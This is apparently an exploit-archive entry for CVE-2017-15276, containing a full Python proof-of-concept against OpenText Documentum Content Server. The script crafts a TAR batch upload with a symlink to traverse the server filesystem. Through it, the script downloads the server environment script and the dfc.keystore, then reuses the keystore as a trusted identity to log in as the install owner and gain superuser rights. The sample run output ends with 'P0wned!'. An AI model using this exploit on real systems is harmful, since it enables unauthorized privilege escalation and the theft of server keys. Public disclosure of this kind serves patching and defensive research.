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Opentext Documentum Content Server Privilege Escalation

Opentext Documentum Content Server Privilege Escalation
Posted Oct 14, 2017
Authored by Andrey B. Panfilov

Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) allows for privilege escalation via traversal attacks leveraged through uploaded tar files.

tags | exploit
advisories | CVE-2017-15276
SHA-256 | 8f058be0fbb3dae75f3313418482761ee598bb48de892ffce1875c79cccba63d

Opentext Documentum Content Server Privilege Escalation

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#!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server allows to upload content using batches (TAR archives), when unpacking
# TAR archives Content Server fails to verify contents of TAR archive which
# causes path traversal vulnerability via symlinks, because some files on Content Server
# filesystem are security-sensitive the security flaw described above leads to
# privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15276.py
# usage:
# OTDocumentumTarVulnerability.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Creating malicious dmr_content object
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Creating malicious dmr_content object
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!


import io
import socket
import sys
import tarfile

from dctmpy import NULL_ID

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
print "usage:\n%s host port user password" % sys.argv[0]


def main():
if len(sys.argv) != 5:
usage()
exit(1)

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')

keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)

for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break

if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)

keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))

if not keystore:
print "Unable to download dfc.keystore"
exit(1)

(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"


def download(session, path, buf):
print "Downloading %s" % path

store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")

print "Creating malicious dmr_content object"

session.apply(None, NULL_ID, "BEGIN_TRANS")

handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)

(bytes, length) = create_tar("test", path)
b = bytearray()
b.extend(bytes.read())

print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']

content_id = session.next_id(0x06)

if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)

session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']

content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_int("page", 0)
content.set_string("page_modifier", "dm_batch")
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
content.set_bool("BATCH_FLAG", True)
content.set_bool("IS_ADDRENDITION", True)
content.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
end_tran(session, False)
exit(1)

content = session.get_by_qualification(
"dmr_content WHERE any (parent_id='%s' "
"AND page_modifier='%s')" % (object_id, "vuln"))

handle = session.make_puller(
NULL_ID, store.object_id(), content['r_object_id'],
format.object_id(), data_ticket
)

if handle == 0:
end_tran(session, False)
raise RuntimeError("Unable make puller")

for chunk in session.download(handle):
buf.extend(chunk)

end_tran(session, False)
return buf


def create_tar(linkname, linkpath):
bytes = io.BytesIO()
tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
add_link(tar, linkname, linkpath)
text = io.BytesIO()
text.write("file_name='%s'\n" % linkname)
text.write("page_modifier='vuln'\n")
text.write("parameters=''\n")
tarinfo = tarfile.TarInfo("property.txt")
tarinfo.size = text.tell()
text.seek(0)
tar.addfile(tarinfo, text)
tar.close()
length = bytes.tell()
bytes.seek(0)
return (bytes, length)


def add_link(tar, linkname, linkpath):
tarinfo = tarfile.TarInfo(linkname)
tarinfo.type = tarfile.SYMTYPE
tarinfo.linkpath = linkpath
tarinfo.name = linkname
tar.addfile(tarinfo=tarinfo)


def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)


def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False


def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)


if __name__ == '__main__':
main()
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